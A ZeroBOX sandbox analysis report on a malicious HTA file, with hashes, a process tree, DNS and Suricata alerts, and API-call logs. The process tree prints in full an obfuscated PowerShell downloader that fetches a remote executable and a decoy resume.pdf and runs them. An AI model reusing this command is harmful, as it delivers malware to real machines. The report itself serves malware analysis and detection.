Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 9, 2023, 9:38 p.m.	Sept. 9, 2023, 9:40 p.m.

Size	116.2KB
Type	HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5	`ff3ba7711a230e6c17ac77a271ec3622`
SHA256	`f68000c54926a068647a10aacdba25153f8845a7f671ca43468ccabc8d758789`
CRC32	`95F4C7C8`
ssdeep	`1536:WYRX/65uRJemGN5+OQlWRl1Mk350P96ABNQsoNFc1Uoi2lOo5tSiYZLAlH6dk6UN:v/l0kQHSeM`
Yara	None matched

iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\1.hta.html
2620
- iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2620 CREDAT:145409
  2708
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function LiGvHIOT($txOWRyeIebeb, $oLpNFYWdIfVI){[IO.File]::WriteAllBytes($txOWRyeIebeb, $oLpNFYWdIfVI)};function FwSFiiFSYVTVTHXIL($txOWRyeIebeb){if($txOWRyeIebeb.EndsWith((uOOYYDAttqilkKNbGR @(57978,58032,58040,58040))) -eq $True){Start-Process (uOOYYDAttqilkKNbGR @(58046,58049,58042,58032,58040,58040,57983,57982,57978,58033,58052,58033)) $txOWRyeIebeb}else{Start-Process $txOWRyeIebeb}};function VfYawVMDSrUtxA($OSNQHjhsSMprXg){$oLFtNqCcnUSsMU = New-Object (uOOYYDAttqilkKNbGR @(58010,58033,58048,57978,58019,58033,58030,57999,58040,58037,58033,58042,58048));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$oLpNFYWdIfVI = $oLFtNqCcnUSsMU.DownloadData($OSNQHjhsSMprXg);return $oLpNFYWdIfVI};function uOOYYDAttqilkKNbGR($lIYzshXR){$wxUWk=57932;$cNLkEyfPHma=$Null;foreach($gHylftyO in $lIYzshXR){$cNLkEyfPHma+=[char]($gHylftyO-$wxUWk)};return $cNLkEyfPHma};function XMHJopzpJ(){$WOIZqGZPbjNthFdWxT = $env:AppData + '\';$xOAHReFL = $WOIZqGZPbjNthFdWxT + 'putty.exe'; if (Test-Path -Path $xOAHReFL){FwSFiiFSYVTVTHXIL $xOAHReFL;}Else{ $BUorXeLMEEUr = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58036,58033,57978,58033,58029,58046,58048,58036,57978,58040,58037,57979,58058,58047,58035,58048,58029,58048,58036,58029,58041,57979,58044,58049,58048,58048,58053,57979,58040,58029,58048,58033,58047,58048,57979,58051,57986,57984,57979,58044,58049,58048,58048,58053,57978,58033,58052,58033));LiGvHIOT $xOAHReFL $BUorXeLMEEUr;FwSFiiFSYVTVTHXIL $xOAHReFL;};$CzIiUhxSTLAUdkft = $WOIZqGZPbjNthFdWxT + 'resume.pdf';If(Test-Path -Path $CzIiUhxSTLAUdkft){Invoke-Item $CzIiUhxSTLAUdkft;}Else{ $KNkswdkLPiuMkJRrQhZq = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58046,58029,58042,58047,58034,58033,58046,57978,58047,58036,57979,58035,58033,58048,57979,57999,58037,58033,57989,58052,57988,57979,58046,58033,58047,58049,58041,58033,57978,58044,58032,58034));LiGvHIOT $CzIiUhxSTLAUdkft $KNkswdkLPiuMkJRrQhZq;Invoke-Item $CzIiUhxSTLAUdkft;};;;;}XMHJopzpJ;
    2932

Name	Response	Post-Analysis Lookup
apps.identrust.com	CNAME identrust.edgesuite.net CNAME a1952.dscq.akamai.net A 23.67.53.17 A 23.67.53.27	23.67.53.17
the.earth.li	A 93.93.131.124	93.93.131.124
transfer.sh	A 144.76.136.153	144.76.136.153

IP Address	Status	Action
144.76.136.153	Active	Moloch
164.124.101.2	Active	Moloch
23.67.53.17	Active	Moloch
93.93.131.124	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.101:54148 -> 164.124.101.2:53	2034316	ET POLICY Observed DNS Query to File Transfer Service Domain (transfer .sh)	Potentially Bad Traffic
UDP 192.168.56.101:54148 -> 164.124.101.2:53	2035139	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in DNS Lookup)	Misc activity
TCP 192.168.56.101:49169 -> 93.93.131.124:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49170 -> 93.93.131.124:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
UDP 192.168.56.101:54148 -> 8.8.8.8:53	2034316	ET POLICY Observed DNS Query to File Transfer Service Domain (transfer .sh)	Potentially Bad Traffic
UDP 192.168.56.101:54148 -> 8.8.8.8:53	2035139	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in DNS Lookup)	Misc activity
TCP 192.168.56.101:49171 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.101:49171 -> 144.76.136.153:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 144.76.136.153:443 -> 192.168.56.101:49171	2033076	ET POLICY Observed File Transfer Service SSL/TLS Certificate (transfer .sh)	Potential Corporate Privacy Violation

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49171 144.76.136.153:443	C=US, O=Let's Encrypt, CN=R3	CN=transfer.sh	4b:77:1f:b2:fe:8e:4f:93:e4:34:20:28:f2:b6:7a:3a:ff:0f:d1:f6

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 9, 2023, 9:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 9, 2023, 9:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 9, 2023, 9:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 9, 2023, 9:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 9, 2023, 9:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 9, 2023, 9:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 9, 2023, 9:31 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 9, 2023, 9:31 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (50 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003d2480 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e340 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e340 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e340 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e2d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e2d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e340 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e340 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e340 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e340 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e570 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e570 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e570 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e030 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e030 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32e030 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32eb20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32eb20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32eb20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32eb20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32eb20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32eb20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32eb20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b32eb20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004507d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004507d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004507d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b7c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b7c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b7bc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b7bc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b7ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b7ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b7ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b366bd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b366bd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b366c40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b366c40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3676c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3676c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003d2330 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003d2330 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003d23a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003d23a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003d23a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003d23a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b7c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b7c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3b3ba0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 9, 2023, 9:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3b3ba0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 9, 2023, 9:31 p.m.		1	1	0

Performs some HTTP requests (1 event)

request

GET http://apps.identrust.com/roots/dstrootcax3.p7c

Allocates read-write-execute memory (usually to unpack itself) (50 out of 314 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 region_size: 13570048 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002c10000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003900000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769cd000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769d4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbca5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbca5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefefc4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdcd1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769ba000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000030e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003900000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769cd000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769d4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbca5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefefc4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdcd1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769ba000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2708 region_size: 8851456 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002600000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2708 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002e70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
